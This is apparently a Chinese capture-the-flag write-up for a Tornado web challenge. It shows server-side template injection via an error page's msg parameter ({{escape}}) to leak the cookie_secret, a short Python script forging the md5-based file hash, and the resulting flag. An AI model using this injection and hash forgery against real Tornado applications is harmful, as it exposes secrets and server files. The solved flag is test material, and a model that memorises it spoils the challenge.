1.給了三個提示
flag在/fllllllllllllag這里
Render+tornado這兩個東西,顯然是python web
根據提示flag所在文件夾,加上路徑去訪問,發現無法訪問,被跳轉到一個錯誤頁面
到這里,開始懷疑可能是不是存在模板注入
輸入的數據都被當作代碼執行了,舉個例子,{{1+1}}回顯會返回2,當然,正常情況很少這樣。一般是某個函數或者關鍵字會被執行
先試試看
翻了一下官網,大概這些函數
挨個試試
第一個escape就被直接執行了
http://9cc83977-4b02-44c3-93d1-b1f6d026f845.node1.buuoj.cn/error?msg={{escape}}
這里根據提示,我們需要的是cookie
參考wp,師傅們這樣解釋的
接下來根據hint提示計算hash
#!-*-coding:utf-8 -*- import hashlib def md5(s): md5 = hashlib.md5() md5.update(s) return md5.hexdigest() def filehash(): filename = '/fllllllllllllag' cookie_secret = '01d3ae36-9d9e-44f4-b25e-405eda25b369' print(md5(cookie_secret + md5(filename))) if __name__ == '__main__': filehash()
742267cca0cd702fac6bbaeb947cd61e帶進去訪問,出flag
Flag: flag{94b1f826-b51b-4822-986f-bc718c19560b}
參考文章:
http://ch.vksec.com/2017/06/tornado.html
https://blog.csdn.net/weixin_44677409/article/details/94410580
https://tornado.readthedocs.io/en/latest/web.html#tornado.web.RequestHandler
https://www.kancloud.cn/kancloud/python-basic/41712
https://www.cnblogs.com/cimuhuashuimu/p/11544455.html